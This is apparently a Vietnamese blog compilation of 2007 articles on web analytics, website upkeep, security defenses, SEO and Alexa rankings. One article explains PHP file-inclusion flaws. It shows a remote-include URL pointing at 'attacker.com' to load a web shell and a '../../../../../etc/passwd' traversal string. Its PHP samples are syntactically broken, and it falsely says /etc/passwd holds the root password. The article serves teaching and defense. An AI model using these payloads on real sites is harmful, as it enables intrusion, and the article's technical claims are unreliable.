Có rất nhiều bộ đếm phức tạp đến, từ thống kê số hit đơn giản và phân tích web theo chiều sâu. Các công cụ thống kê được host ở nơi khác cũng có thể cung cấp cho bạn hầu như mọi thông tin yêu cầu liên quan tới người truy nhập. Công việc mà bạn phải làm chỉ là đăng ký dịch vụ và copy và dán vài dòng mã lệnh lên trang. TheCounter.com là một ví dụ điển hình. Mức phí sử dụng bộ đếm của website này rất “bèo” (trước đây là miễn phí). Dịch vụ của TheCounter.com cung cấp không chỉ thống kê từng trang con mà còn cả con số trung bình trong từng ngày, thông tin tham khảo, chỉ số về độ phân giải màn hình, loại trình duyệt v.v…, tóm lại là những thông tin cần thiết để bạn điều chỉnh website theo nhu cầu người truy nhập. Dịch vụ khác (hoàn toàn miễn phí) là Extreme Tracker. Nó sẽ “nhúng” một đường dẫn tới trang cần thống kê của bạn và có thể hỗ trợ đo đếm nhiều trang (xem chi tiết tại http://www.extreme-dm.com).

Trước khi quyết định cài đặt hoặc đăng ký Extreme Tracker hoặc TheCounter, hãy kiểm tra gói thuê bao hosting của bạn. Nhiều nhà cung cấp dịch vụ hosting tích hợp sẵn các bộ đếm trong tài khoản của khách hàng.

Lựa chọn thống kê trong số hit là một chuyện, việc chắt lọc thông tin từ kho dữ liệu thu thập được trên toàn bộ website lại là chuyện khác. Chính vì vậy, trọng tâm ở đây dịch chuyển từ cách thức thu thập thông tin sang cách thức khai thác những thông tin đã thu thập được. Nếu bạn đã từng xem một tệp nhật ký (log file) nằm trong một máy chủ, bạn sẽ thấy tệp này là các chuỗi ký tự dài, lưu trữ thông tin về những lần truy nhập. Trong tệp tin là thông tin chi tiết về mỗi “hit”: chúng xuất phát từ đâu, kiểu truy vấn thông tin, trang truy nhập, trình duyệt gửi truy vấn, thời gian gửi truy vấn v.v… Có thể bạn sẽ phải trả thêm tiền nếu muốn tiếp cận các log file trong các máy chủ. Một số nhà cung cấp dịch vụ thậm chí không cho phép khách hàng tiếp cận trực tiếp (thời gian thực) các log file.

Chắt lọc thông tin có nghĩa từ các nguồn dữ liệu thô sẽ là điều không tưởng nếu chỉ dùng phương pháp thủ công. Bạn cần các ứng dụng phần mềm phân tích có khả năng tổ chức và sắp xếp thông tin dưới dạng các con số thống kê dễ hiểu. Một khi có được sự hỗ trợ này, bạn sẽ tìm thấy những thông tin hữu dụng mà trước đó thậm chí bạn chưa từng biết tới sự tồn tại của chúng chứ chưa nói là muốn có. AWStats là một ví dụ tuyệt vời về ứng dụng phân tích web. ứng dụng này sử dụng mã CGI để sản sinh ra những biểu đồ, bảng biểu minh hoạ… trực quan cho số liệu thống kê lấy ra từ những log file. Ngoài ra, Analog cũng là một lựa chọn miễn phí cho bạn. Công cụ này tích hợp ít tính năng hơn AWStats nhưng lại cho phép người sử dụng tự điều chỉnh cấu hình từ máy địa phương (local machine). Trong khi AWStats yêu cầu bạn phải xác định đường dẫn tới log file trước khi chạy, Analog cho phép bạn xác định log file khi chương trình đang thực thi. Điều này có nghĩa là bạn có thể sử dụng Analog để đọc các log file trực tiếp trên các máy chủ (live log).

Thêm một ứng dụng khác, Sawmill, cũng dựa vào CGI, có khả năng chạy trực tiếp từ website hoặc máy tính của bạn nhờ một máy chủ web (web server) được tích hợp sẵn trong công cụ. Khác AWStats và Analog, Sawmill là sản phẩm mang tính thương mại. Sawmill hỗ trợ rất nhiều tính năng phân tích và nhiều lựa chọn so với các ứng dụng miễn phí. Một trong những tính năng đặc sắc nhất của Sawmill là khả năng theo dõi và phân tích web trực tiếp (live web tracking).

Các chuyên gia phân tích web phân biệt khá rạch ròi quá trình theo dõi (tracking) và phân tích log file. Quá trình theo dõi web có thể mang lại những dữ liệu tương tự nhưng theo phương thức khác. Trong khi các log máy chủ lưu trữ mọi truy vấn gửi tới trang máy chủ web, máy chủ FTP hay máy chủ email…, các dịch vụ theo dõi chỉ lưu trữ những động thái xuất phát trực tiếp từ người sử dụng (lưu trữ vào cookie rồi chuyển tới cơ sở dữ liệu). Số liệu thống kê qua công cụ phân tích log file mang tính so sánh (nhiều thời điểm), trong khi các công cụ theo dõi chỉ cung cấp thống kê ở một thời điểm cụ thể. Ngoài ra, các tệp tin log còn lưu trữ những thông tin mà các ứng dụng theo dõi website không để ý tới như sự hiện diện của “khách quen”, người truy nhập từ cùng một địa chỉ IP hoặc hoạt động tìm kiếm của các công cụ tìm kiếm (search engine).

Theo dõi theo dòng truy nhập

Những ứng dụng này còn có thể lưu lại các bước người truy nhập truy nhập website của bạn. Clickstream hay Clickpath – dòng truy nhâp, cho thấy mức độ hiệu quả của sơ đồ điều hướng, khả năng thu hút người truy nhập vào các lớp bên trong trang web. Đương nhiên, bạn cũng có thể nắm bắt được phần nào một dòng truy nhập thông qua các log file nhưng kết quả thường không đầy đủ và chính xác.

Để có được các thông tin về dòng truy nhập, nhà quản trị cần cài đặt các cookie, nhúng dữ liệu vào cookie để rồi sau đó tiến hành phân tích từ những dữ liệu thu thập được. Chính vì vậy, đa phần các ứng dụng theo dõi web đều được host từ máy chủ của các nhà cung cấp dịch vụ. Trong số các ứng dụng đã từng được đề cập, Extreme Tracker là một công cụ rất cơ bản nếu đem so sánh với các ứng dụng chuyên nghiệp. OpenTracker (http://www.opentracker.net) được cung cấp ở mức phí, 16,95 USD/tháng, nhưng lại tích hợp rất nhiều tính năng. Dữ liệu thu thập được cho phép bạn tối ưu các trang web để tăng vị trí trong các kết quả tìm kiếm, cải thiện sơ đồ điều hướng và cấu trúc thông tin của website.

Ví dụ, bạn có thể phát hiện ra rằng người truy nhập chỉ vào một khu vực cụ thể trên website rồi truy xuất. Với các công cụ theo dõi web, bạn sẽ nắm bắt được nguyên nhân chung nhất của tình trạng này để đưa ra các biện pháp khắc phục.

Nếu thực sự muốn thành công hơn nữa trên mạng Internet, bạn nên nghiêm túc với những giải pháp đã được đề cập tới ở trên. Trong mọi trường hợp, viện tới tư vấn của các nhà cung cấp dịch vụ ứng dụng (Application Service Provider- ASP) như http://www.webtrends.com. Các công ty thứ ba này sẽ làm công việc theo dõi, phân tích website cho bạn; đưa ra những đề xuất cụ thể với những thông tin thu thập được. Đương nhiên, ngay cả khi bạn chỉ dụng một bộ đếm hit đơn giản hoặc cả một hệ thống theo dõi và phân tích website (tính phí), hiệu quả hay không vẫn tuỳ thuộc vào mức độ chủ động của bạn.

(Theo Tạp chí BCVT & CNTT - VDC)

Làm mới website

2007-10-11T11:32:00.000+07:00

Chúng ta đang sống trong một thế giới trực tuyến và việc người khác tìm kiếm bằng Google để vào được trang web của bạn một cách thường xuyên là một cách làm góp phần tạo nên sự nổi tiếng của doanh nghiệp của bạn. Do đó, có thể nói nếu công ty nào chưa tạo được một trang web, thì nó đang lạc hậu với thời cuộc. Còn những ai chưa thật sự hài lòng với những gì mình đã tạo trên website thì cũng đã đến lúc bắt đầu làm mới lại khuôn mặt của mình trên mạng.

Dưới đây là những gợi ý hữu ích:

1. Hãy tìm đến một trang web mà bạn ngưỡng mộ hay yêu thích về cách trình bày đặc biệt là sự ấn tượng và tính dễ dàng sử dụng của nó. Hãy xem xét và chỉ ra điều gì khác thường và sáng tạo của trang web đó và tìm hiểu cách vận hành những ứng dụng như thế nào để đến được với một khách hàng như bạn. Từ đó bạn sẽ có chìa khóa để mở hướng đổi mới.

2. Cần nêu rõ ràng những giá trị của bạn. Nếu khả năng viết lách của bạn chưa đủ cao, hãy mướn một nhà quảng cáo thực hiện thay công việc này để truyền bá những thông tin có ích với một giọng điệu phù hợp với văn hóa trong công ty bạn.

3. Dành thời gian để nâng cao tính hiện hành của website. Hãy tra cứu website của mình một cách định kỳ để biết được đâu là nơi có thể cập nhật những câu chuyện hay những mẩu tin mới. Viết blog là một cách hỗ trợ để tạo nên những mẫu nội dung mới một cách thường xuyên và chính điều này sẽ góp phần nâng cao thứ hạng của bạn trong những công cụ tìm kiếm trực tuyến, giúp tăng được đáng kể số lượt cập nhật vào trang web.

4. Hãy ngừng nêu lên những lý do và bắt đầu ngay công việc làm mới website của mình. Nếu bạn không có đủ thời gian, hãy đi thuê một chuyên viên IT để thực hiện công việc này.

5. Nên tìm kiếm một đối tác về các dịch vụ website đáng tin để có thể chia sẻ những kinh nghiệm. Điều này sẽ giúp việc làm mới website hiệu quả hơn, thú vị hơn.

Với tốc độ phát triển website ngày càng mạnh mẽ, (từ phiên bản 2.0 sang 3.0 có lẽ chẳng bao lâu nữa) “website hóa” công việc làm ăn là một cách thông minh để nâng trình độ và tầm vóc của các doanh nghiệp.

Gia Trịnh theo Entrepreneur

Bảo mật máy chủ web: Lỗi Include và cách khắc phục

2007-10-11T11:29:00.001+07:00

Đôi khi vào các trang hacker , bạn hay thấy các lỗi bảo mật mà hacker đã dùng những cách thức hết sức đơn giản để lấy username và password vào root của host như ../../../../../ ect/passwd. Đó chính là một phần của lỗi include. Nói một cách tổng quát, lỗi include là một loại lỗi do sự bất cẩn khi lập trình gây ra và lỗi này có thể khắc phục một cách dễ dàng.

Include là gì? Include nghĩa là kết nối, lien kết . Để tránh việc lặp đi lặp lại một đoạn mã nào đó, lập trình viên chỉ cần dùng lệnh include đến một file có chứa mã sẵn . Vì thế, trong một mã nguồn ( tin tức, diễn đàn, âm nhạc…) có chứa rất rất nhiều các lệnh Include. Và trong hàng ngàn dòng lệnh thì sai sót ở những nơi không mấy quan trọng là điều không thể tránh.

Dựa vào hình thức chúng ta có thể phân ra 2 loại: remote file và local.

I. Lỗi remote file

a/ Lỗi khai báo biến:

Vd1: Ta có một file exam1.php như sau:

$mkdir=”/home”;
Include($mkdir/config.php);
[…code exam1.php] ?>

Ta thấy rằng file này không có lỗi. Trước tiên lập trình viên (LTV) khai báo biến $mkdir là “/home”. Sau đó LTV dùng lệnh include với đường dẫn đến file config.php là giá trị đã khai báo ở biến $mkdir.
Vd2: Tôi lại có một file exam2.php như sau:

$mkdir =” “;
Include($mkdir/config.php);
[…code exam2.php] ?>

Đã có lỗi xảy ra. Vì file config.php nằm chung một thư mục với file exam2.php nên không cần khai báo biến $mkdir. Biến $mkdir đã không còn có tác dụng và trở nên vô nghĩa. Tuy nhiên LTV lại quên không xoá đi mà lại để nó tồn tại.

Vd3 Quay lại vd 1

$mkdir = “/home”;
Include($mkdir/config.php);
[…code exam1.php] ?>
Giả sử tôi có file config.php như sau:
$datatype =”mysql”;
$datahost =”localhost”;
$data.user =”admin”;
$data.name =”test”; ?>

File exam1.php đã include đến file config.php. Với lệnh include này thì hai file trên sẽ tương đương với 1 file như sau:

$datatype =”mysql”;
$datahost =”localhost”;
$data.user =”admin”;
$data.name =”test”;
[…code exam1.php] ?>

Ở đây đoạn từ $mkdir=…config.php ; đã được thay bằng nội dung file config.php

Vd4: Quay lại với vd2, exam2.php:

$mkdir =” “;
include($mkdir/config.php);
[…code exam2.php]
?>

File này có lỗi. Biến $mkdir để trống không khai báo. Điều này đã tạo cơ hội cho attacker khai báo dùm.
Nếu attacker dùng địa chỉ như sau: http://victim.com/exam2.php?mkdir=http://attacker.com.
File exam2.php của victim lúc này sẽ như sau:

$mkdir= “http://attacker.com”;
Include (http://attacker.com/config.php);
[…code exam2.php] ?>

Trong trường hợp này thì file config.php đã nghiễm nhiên được coi như là nằm trong host của attacker và nếu nội dung file này là một con remview thì sẽ có vấn đề xảy ra. Như vd3 đã nói với lệnh include này, toàn bộ mã của file chứa remview đã nằm gọn trong file exam2.php. Như vậy là attacker đã dùng remview để điều khiển toàn bộ host của victim.

Tuy nhiên việc này chỉ xảy ra ở máy attacker, còn những người truy cập khác đều không có tác dụng và thực chất file exam2.php trên host victim cũng không hề bị thay đổi.

b/ Lỗi khi dùng hàm isset và hàm if

Vd5 Ta có một file exam5.php như sau:

If (!$mkdir) ($mkdir=”config.php”)
Include($mkdir);
[…code exam5.php]
?>

Nghĩa là nếu biến $mkdir chưa được khai báo thì lấy giá trị mặc định là config.php và include đến giá trị mà biến $mrdir đã khai báo.

Tương tự như vd4 attacker lại khai báo dùm biến $mkdir cho victim và …
Vd6 : Lại một file exam6.php

Isset (!$patch) ($patch=”/home”);
Include($patch);
[…code exam6.php]
?>

Nếu biến $patch chưa được khai báo thì lấy giá trị mặc định là /home
Bây giờ đến lượt các bạn tự tìm hiểu

II. Lỗi local

Chúng ta chỉ xét một trường hợp duy nhất ; exam.php:
$file =” “;
Include (/home/$file);
[…code exam.php]
?>

Vẫn tương tự như sau các ví dụ trước nhưng chỉ khác ở chỗ biến $file đã bị giới hạn nằm trong thư mục home.
Nếu attacker nhập vào:
http://victim.com/exam.php?file=http://attacker.com thì code trên thành như sau :

File =”http://attacker.com”) ;
Include (/home/http://attacker.com);
[…code exam.php]
?>

Lệnh include không còn có ý nghĩa vì đường dẫn sai hoàn toàn. Nhưng attacker vần tận dụng được lỗi này. Bằng cách thêm vào đường dẫn như sau :
http://victim.com/exam.php?file=../../../../../etc/passwd/
Với giá trị nhập vào là ../ attacker đã xhayj ngược ;liên kết đến thư mục password của server host .
Vd: chúng ta có cài thư mục như sau:
Server root/home/victim/public.html/forum/includes/exam.php
Với 5 lần sử dụng ../ đã giúp attacker xâm nhập vào thư mục etc/passwd : nơi chứa pass vào root của server.
Tuỳ mỗi server mà có đường dẫn khác nhau mà dùng số lần ../ khác nhau.

III. Cách khắc phục

Đây là lỗi sinh ra do vô ý hoặc do kém hiểu biết về lập trình. Tuy nhiên việc fix lỗi lại rất dễ dàng, chỉ cần loại bỏ các biến không cần thiết khi dùng lệnh include hoặc phải khai báo biến rõ ràng. Qua lỗi này, chúng ta có thể tự bảo mật cho chính website của bản than và tự tìm kiếm các lỗi khác.

(Theo vip4rum.us)

Bảo vệ website

2007-10-11T11:27:00.000+07:00

Hacker tấn công vào các website của các tổ chức, đặc biệt là các doanh nghiệp thương mại điện tử chủ yếu để khai thác lỗ hổng nhằm kiểm soát website hoặc tấn công tên miền nhằm chuyển hướng người duyệt web sang một website khác.

Nguy cơ từ các lỗ hổng

Các trang tin thông tin điện tử giờ đây không chỉ đơn thuần là một website thông tin, quảng bá thông thường mà chúng đã và đang chuyển thành các ứng dụng chạy trên nền web. Các ứng dụng web này được xây dựng trên nhiều thành phần và chạy trên các máy chủ khác nhau: máy chủ web, máy chủ ứng dụng và máy chủ cơ sở dữ liệu,...

		Cần đầu tư đồng bộ giữa hạ tầng thông tin và hệ thống bảo vệ. Nếu hệ thống vẫn tồn tại những nguy cơ chưa được bảo vệ thì có thể đó sẽ là điểm yếu để tin tặc, thậm chí những đối thủ cạnh tranh lợi dụng để tấn công.

Hacker khi tấn công vào một website có thể nhằm vào một trong các mục đích thay đổi diện mạo trang chủ, thay đổi một phần hoặc toàn bộ website hay tấn công từ chối dịch vụ làm cho website không còn khả năng phục vụ. Các cuộc tấn công này gây nhiều tổn thất cho doanh nghiệp do uy tín có thể bị suy giảm, thông tin trong giao dịch trực tuyến hoặc giao dịch ngân hàng sai lệch, thông tin nhạy cảm như: tài khoản, thẻ tín dụng, thông tin truy nhập vào hệ thống... trong quá trình thực hiện các giao dịch trực tuyến bị đánh cắp

Thời gian gần đây, số vụ tấn công đánh cắp thông tin đang có chiều hướng gia tăng và phòng cảnh sát phòng chống tội phạm công nghệ cao (C15, Bộ Công an) đã phát hiện và khởi tố một số vụ.

Điểm yếu của website ngày nay rất đa dạng. Trung bình mỗi tuần có hơn 30 bản vá cho các lỗ hổng bảo mật được phát hành thì có tới 75% các điểm yếu tập trung vào lỗi phát triển các ứng dụng web. Một trong số các nguyên nhân dẫn đến số lỗi bảo mật trên ứng dụng web là do các website được thuê gia công thường sử dụng chung mã nguồn hoặc tận dụng các mã nguồn miễn phí trên Internet mà không được chỉnh sửa một cách đúng mức, trong khi các lỗ hổng trong các mã nguồn miễn phí này cũng được công bố trên Internet khiến cho nguy cơ bị tấn công càng cao hơn.

Ba lớp bảo vệ website

1. Vành đai bảo vệ chung cho toàn hệ thống mạng (lớp 1), gồm cả hệ thống web.

Để triển khai lớp bảo vệ đầu tiên này, các tổ chức, doanh nghiệp có thể trang bị một thiết bị an ninh tích hợp (UTM) gồm nhiều tính năng bảo mật khác nhau như:

• Tường lửa (Firewall) sẽ giúp ngăn chặn các tấn công tầng mạng, loại bỏ các hành vi dò quét các điểm yếu bảo mật của các hệ điều hành trên các máy chủ

• Thành phần ngăn chặn xâm nhập (IPS) giúp loại bỏ các tấn công khai thác các điểm yếu của phần mềm ứng dụng web, phần mềm cơ sở dữ liệu, hệ điều hành... Ngoài ra các thành phần mạng riêng ảo (VPN) và thành phần quét virus mức gateway sẽ giúp hệ thống được an toàn hơn.

2. Tường lửa chuyên dụng cho các ứng dụng web

Sau khi xây dựng vành đai bảo vệ chung, cần trang bị thêm một tường lửa chuyên dụng cho các ứng dụng web (lớp 2). Tường lửa ứng dụng web này sẽ kiểm tra và ngăn chặn các tấn công khai thác điểm yếu phát sinh trong quá trình phát triển website. Tùy thuộc vào quy mô của tổ chức, doanh nghiệp và/hoặc phụ thuộc vào giá trị của tài nguyên thông tin trên website mà có thể có một mức đầu tư tương ứng cho tường lửa ứng dụng web này. Có 3 lựa chọn:

• Đối với các website mà phần lớn là thông tin tĩnh (ít thay đổi), không chứa các dữ liệu quan trọng cũng như không có các giao dịch mua bán: có thể trang bị bổ sung module phần mềm tường lửa cho ứng dụng web (như Web Intelligence của Check Point) vào thiết bị an ninh tích hợp UTM nói trên.

• Đối với các website có rất nhiều dữ liệu quan trọng mang tính chất sống còn của tổ chức, doanh nghiệp, đồng thời thường xuyên diễn ra các giao dịch trực tuyến, đòi hỏi phải có độ an toàn, sẵn sàng cao: nên trang bị một thiết bị tường lửa chuyên dụng cho ứng dụng web (như giải pháp của NetContinuum, một hãng chuyên cung cấp thiết bị tường lửa chuyên dụng cho ứng dụng web).

• Đối với các website cung cấp các thông tin nội bộ hoặc cổng truy nhập thông tin của một tổ chức, doanh nghiệp (Web Portal) cho phép nhân viên kết nối vào từ bất cứ đâu và làm việc bất kể thời gian nào: ngoài việc trang bị lớp bảo vệ chung bằng thiết bị an ninh tích hợp, các tổ chức, doanh nghiệp cũng cần xây dựng một “cổng truy nhập” an toàn đến các tài nguyên thông tin (ví dụ sử dụng thiết bị Connectra Web Security Gateway của Check Point).

Song song tường lửa chuyên biệt cho các ứng dụng web, các tổ chức, doanh nghiệp cũng cần trang bị các giải pháp xác thực mạnh cho ứng dụng web quan trọng. Một giải pháp xác thực mạnh phải xác thực 2 yếu tố trở lên. Thông thường, các giải pháp xác thực mạnh truyền thống sẽ đòi hỏi hàng trăm đô-la đầu tư cho mỗi một người dùng, như vậy sẽ rất tốn kém trong việc đầu tư. Hiện nay, giải pháp xác thực mạnh IdentityGuard của Entrust sẽ giúp các tổ chức, doanh nghiệp giải quyết bài toán này với một chi phí tối ưu.

Những việc cần phải thực hiện sau khi website bị tấn công:
• Tách hệ thống bị tấn công khỏi mạng, đề phòng hacker vẫn tiếp tục phá hoại trong quá trình khắc phục.
• Phân tích các log trên hệ thống để tìm hiểu cách thức khai thác của hacker nhằm đưa ra biện pháp phòng chống thích hợp.
• Cấu hình lại hệ thống mạng và máy chủ chặt chẽ.
• Kiểm tra lại mã nguồn website để vá các lỗ hổng do lập trình.
• Rà soát máy chủ, đề phòng tin tặc đã cài được webshell (1 dạng backdoor). Nếu không sớm phát hiện ra webshell, hệ thống máy chủ rất dễ bị tấn công trở lại cho dù đã khắc phục được lỗ hổng.

3. Thiết bị an ninh tích hợp hoặc thiết bị chống xâm nhập mạng

Sau khi đầu tư hai lớp bảo vệ trên, để tăng cường an toàn bảo mật thông tin, tổ chức, doanh nghiệp có thể bổ sung thêm một thiết bị an ninh tích hợp hoặc thiết bị chống xâm nhập mạng (IPS) chuyên dụng (lớp 3). Lớp này phân chia mạng bên trong thành các phân vùng khác nhau và áp dụng các chính sách riêng cho từng phân vùng mạng nhằm ngăn chặn các tấn công có nguồn gốc từ bên trong mạng và loại bỏ các tấn công có thể vượt qua tường lửa vào vùng các máy chủ quan trọng.

Thay lời kết

Việc đầu tư và triển khai một hệ thống bảo vệ cho ứng dụng web là rất cần thiết, tuy nhiên cần phải đầu tư một cách đồng bộ giữa hạ tầng thông tin và hệ thống bảo vệ. Nếu hệ thống vẫn còn tồn tại những nguy cơ chưa được bảo vệ thì có thể đó sẽ là các điểm yếu để tin tặc, thậm chí những đối thủ cạnh tranh lợi dụng để tấn công, và hậu quả khó có thể lường trước được. Song song với việc đầu tư về công nghệ, các tổ chức, doanh nghiệp cũng cần xây dựng riêng cho mình một chính sách an toàn thông tin và một đội ngũ quản trị có kinh nghiệm để duy trì và vận hành hệ thống.

(Theo iGuru)

DN cần chú trọng bảo vệ uy tín trực tuyến

2007-10-11T10:38:00.001+07:00

Hãng nghiên cứu thị trường Gartner khuyến cáo doanh nghiệp (DN) cần phải chủ động chú trọng hơn nữa trong việc bảo vệ uy tín trên mạng Internet bởi môi trường kinh doanh trực tuyến ngày càng tiềm ẩn nhiều nguy cơ hơn.

Gartner dự báo đến cuối năm 2010 tội phạm mạng có thể sẽ chuyển sang hướng sử dụng Internet để đe doạ tống tiền tổ chức doanh nghiệp hoặc đe doạ gây phương hại đến uy tín của doanh nghiệp bằng cách điều khiển những yêu cầu tìm kiếm trực tuyến trả về những kết quả sai trái.

“Nếu doanh nghiệp của bạn có một uy tín tốt trên mạng Internet và bạn phải dựa vào đó để tiến hành công việc kinh doanh thì sẽ không còn một cách nào khác là bạn phải chủ động quản lý và bảo vệ uy tín đó hơn nữa,” ông Jay Heiser – Phó chủ tịch phụ trách nghiên cứu của Gartner – cho biết.

“Thông tin trên Internet được nhân bản và phát tán bằng một tốc độ đáng sợ. Chúng ta gần như không thể xoá bỏ hết được nó. Nếu đó là một thông tin không tốt thì có thể nói là thật sự nguy hiểm đối với uy tín doanh nghiệp”.

Ông Heiser cho biết mặc dù hiện có rất nhiều nguồn tài nguyên thông tin về uy tín trực tuyến cũng như những đơn vị sẵn sàng hỗ trợ doanh nghiệp trong việc quản lý uy tín trực tuyến – như các tổ chức PR hoặc các hãng phân tích – song hầu hết các doanh nghiệp đều chưa có được một cơ chế “phân tích và cảnh báo” dành riêng cho việc quản lý bảo vệ uy tín trên mạng Internet.

“Các duy nhất để chống lại sự tồn tại và phát tán các thông tin có ảnh hưởng không tốt tới uy tín của doanh nghiệp trên mạng Internet cũng chính là Internet. Trong những trường hợp như thế buộc lòng doanh nghiệp phải tung lên mạng một khối lượng thông tin tốt lớn, đàn áp lại thông tin xấu. Đó chính là lĩnh vực quản lý uy tín trực tuyến”.

Ông Heiser khuyến cáo doanh nghiệp nên chủ động hơn nữa trong việc quản lý và bảo vệ uy tín trực tuyến của mình, tiến hành những bước đi cần thiết nhằm hiểu rõ vai trò của uy tín đối với các mối quan hệ xã hội và thương mại, và song song bên cạnh đó là hợp tác chặt chẽ với các hãng PR nhằm tạo ra một chiến lược bảo vệ uy tín hiệu quả.

Ngoài ra các doanh nghiệp cũng cần phải tiến hành đào tạo nhân viên của mình về phương thức đánh giá uy tín doanh nghiệp và tìm kiếm các cơ hội kinh doanh nhằm gia tăng uy tín cho doanh nghiệp.

Nguồn tin: Quản Trị Mạng

Định giá vùng Web, các công ty dịch vụ thông tin nên tập thói quen này

2007-10-09T10:45:00.000+07:00

Đảo quanh các hệ thống Web lớn tại Việt Nam tôi thấy có một sự đầu tư vùng dịch vụ không có chiến lược dài hạn. Sự thành công của các dự án Web trên thế giới tác động khá mạnh đến định hướng sản phẩm của các công ty Việt Nam. Những hệ thống như www.aha.vn, www.clip.vn, www.marofin.com, www.chodientu.vn đang trở thành con tốt thí cho những gã khổng lồ cẩn thận núp trong bóng tối thay vì đại diện cho một làn sóng kinh doanh mới tại Việt Nam.

Nhẩm một con tính đơn giản, mỗi hệ thống tốn không dưới 2 tỉ nếu hoạt động khoảng 2 năm. Thành công của những Google, Yahoo, Flickr làm tôi thấy cảnh giác trước sức mạnh của phương tiện truyền thông. Liệu các công ty hăm hở cưỡi trên làn sóng kinh doanh mới có kéo dài tên tuổi đến khi TMĐT Việt Nam chín muồi hay không?

Định giá vùng Web là một lĩnh vực tôi mới quan tâm; sau lần tham quan www.timnhanh.com tôi chợt nhận ra giá vùng Web có mối tương quan với sự phát triển của Web. Định giá vùng Web cũng có thể coi là định giá bất động sản trong Web site.

Một vùng Web có những mục đích sau:

Thu tiền gián tiếp (Cung cấp thông tin tới người đọc, mang đặc điểm tin tức, PR cho doanh nghiệp/ sản phẩm/ dịch vụ, xúc tiến Thương mại, dịch vụ công)
Thu tiền trực tiếp (Kinh doanh trực truyến)

Như chúng ta biết để định giá một Website chúng ta có thể áp dụng trong những cách sau:

Lưu lượng truy cập hay PageRank
Định giá dựa trên thu nhập

Lưu lượng truy cập, là một chỉ số tốt nhưng nó không thể hiện hoàn toàn giá trị tiền bạn có thể đạt được. Giá của nó phụ thuộc vào định giá của bạn cho tương lai của Web site

Định giá dựa trên thu nhập, phương thức này khác phức tạp. Bạn dựa trên sự thành công trong kinh doanh của Web. 2 x (Lợi nhuận thuần hàng năm) + (giá trị tài tài sản).

Tài sản = tên miền + phần mềm + giá trị nội dung, rồi nhân với 2 năm hoặc 24 tháng.

Tuy nhiên với vùng Web thì phức tạp hơn. Để bắt đầu định giá vùng Bất động sản trên Web tôi áp dụng các chỉ số sau (Bài này áp dụng tại Việt Nam, nơi TMĐT chưa phát triển):

ROI bao gồm các chỉ số con (CPA (Cost per Acquisition), RPA (Revenue per Acquistion), ROI (Return of Investment))
Tỉ lệ chuyển đổi (Conversion) bao gồm các chỉ số sau: P/visit (Pageviews/number of visits), G/visit (Number of goal conversions/Number of visits), $/Visit (Revenue (từ e-commerce) hoặc Goal value/number of visits
VL/visit (Visitor Loyalty/ Visit), Length of visit, Depth of visit
Các chi phí tài sản.

(Theo WebmasterViet)

Hai điều quan trọng nhất quyết định tính sống còn của một trang web

2007-10-09T10:40:00.000+07:00

Có nhiều webmaster "cố tình" bỏ qua thực tế này và trong thực tế có rất nhiều bằng chứng cho thấy rằng nhiều web host không thể cung cấp những dịch vụ tin tưởng và đã làm cho một số website sống dở chết dở.

1. 1. Bạn cần một webhost thật tốt và hiệu quả

Cho dù bạn có quảng cáo tốt đến mức nào đi chăng nữa thì cũng chỉ phí công nếu họ không thể vào được trang web của bạn. Và điều đó xảy ra khá là thường xuyên nếu bạn không có một dịch vụ webhost đủ tốt. Có rất nhiều kinh nghiệm "đau thương" của các webmaster kể cho nhau về những dịch vụ hosting làm ăn kiểu chụp giựt. Một vài dịch vụ hosting của Việt Nam thì quảng cáo cho chán nào là hỗ trợ khách hàng 24/7/365, bandwidth nhiều không kể siết, space dùng bao nhiêu cũng được ... Nhưng trong thực tế họ lại host cho quá nhiều khách hàng thậm chí vượt qua mức giới hạn của server đó. Nói chung có 1001 cách mà các dịch vụ hosting của cả ta và tây đang làm cho các webmaster phải điên đầu. Và người phải chịu trận cho những việc này chính là các webmaster như tôi và bạn, việc website bị down vài giờ, hoặc too many connection hoặc server busy. Điều này là vô cùng đáng tiếc vì để một người chịu thăm site của mình đã khó, còn để người ta thất vọng bỏ đi rồi quay lại thì càng khó hơn.

2. Bạn nên biết về SEO (Search Engine Optimization) và Search Engine Submission.

Hai khái niệm này tạm dịch là Tối ưu hóa công cụ tìm kiếm hay được các webmaster gọi tắt là SEO và Thêm trang web vào dịch vụ tìm kiếm.

Một thực tế là có đến cả triệu website trên mạng cung cấp thông tin về mọi lĩnh vực và trong đó có khoảng phài ngàn trang cung cấp thông tin giống như trang của bạn. Cho nên ở một mớ bòng bong và hỗn loạn như ao hồ như thế này thì việc bị "chết ngộp" là hoàn toàn có thể xảy ra cho bất cứ ai.

Cho nên một trong những cách để giảm bớt nỗi kinh hoàng này là "ghi danh" trang của bạn vào công cụ tìm kiếm nào đó và chắc chắn rằng bạn phải SEO cho trang của bạn. Điều này sẽ giúp bạn khẳng định được vị trí trên mạng và tạo cơ hội cho người lướt web tìm thấy bạn trong muôn vàn những thứ khác.

Nếu vì một lý do nào đó bạn không có hai điều này, bất cứ điều gì bạn cố gắng cũng chỉ phí công vô ích. Do vậy hãy suy nghĩ thật chu đáo nhé!

Ý kiến của tôi: Tác giả của bài này nói không sai, tuy nhiên với điều kiện túi tiền của những người như tôi và bạn thì việc bỏ ra $50/ tháng cho một dịch vụ hosting là điều không tưởng. Cho nên .... chúng ta chỉ còn biết cầu trời cho ông thần hosting phù hộ độ trì cho con bớt khổ ... mỗi khi hạn hán!

(Theo www.vietphotoshop.com)

Ý nghĩa của Alexa với website tiếng Việt

2007-10-09T10:31:00.000+07:00

Làm thế nào để biết được trang web của mình đứng hàng thứ mấy trên Internet với hơn 8 tỉ website? Hãy vào trang www.alexa.com và nhập vào tên trang web bạn muốn biết. Và những chuyện liên quan đến vấn đề này...

Alexa.com ra đời từ năm 1996 và nay là Website hàng đầu chuyên về dịch vụ đo lường tần suất truy cập của mọi Website và xếp thứ hạng theo Top 500, Top 10.000 và Top 100.000. Danh sách các Top website này sẽ được bán cho những người có nhu cầu nghiên cứu đầu tư vì hầu hết các Website trong những Top này đều thuộc những tập đoàn công nghệ hay dịch vụ có tham gia thị trường chứng khoán quốc tế. Năm Website luôn dẫn đầu bảng xếp hạng của Alexa.com là Yahoo.com, MSN.com. Google.com, eBay.com và Microsoft.com. Những Website có tần suât truy cập thấp hơn 100.000 Website cao nhất sẽ không được liệt kê chi tiết tần suất truy cập.

Hàng ngày, Alexa.com "lùng sục" khắp cõi Internet, tính toán lượt người truy cập (gọi là "reach") và số trang được xem (gọi là"page view") của từng Website rồi xếp thứ hạng bằng cách tính bình quân tần suất trong vòng ba tháng vừa qua theo hồ sơ dữ liệu đã lưu trữ. Số lượt người truy cập được Alexa.com biểu thị theo tỷ lệ phần trăm của một triệu người dùng Internet ghé thăm site nào đó.

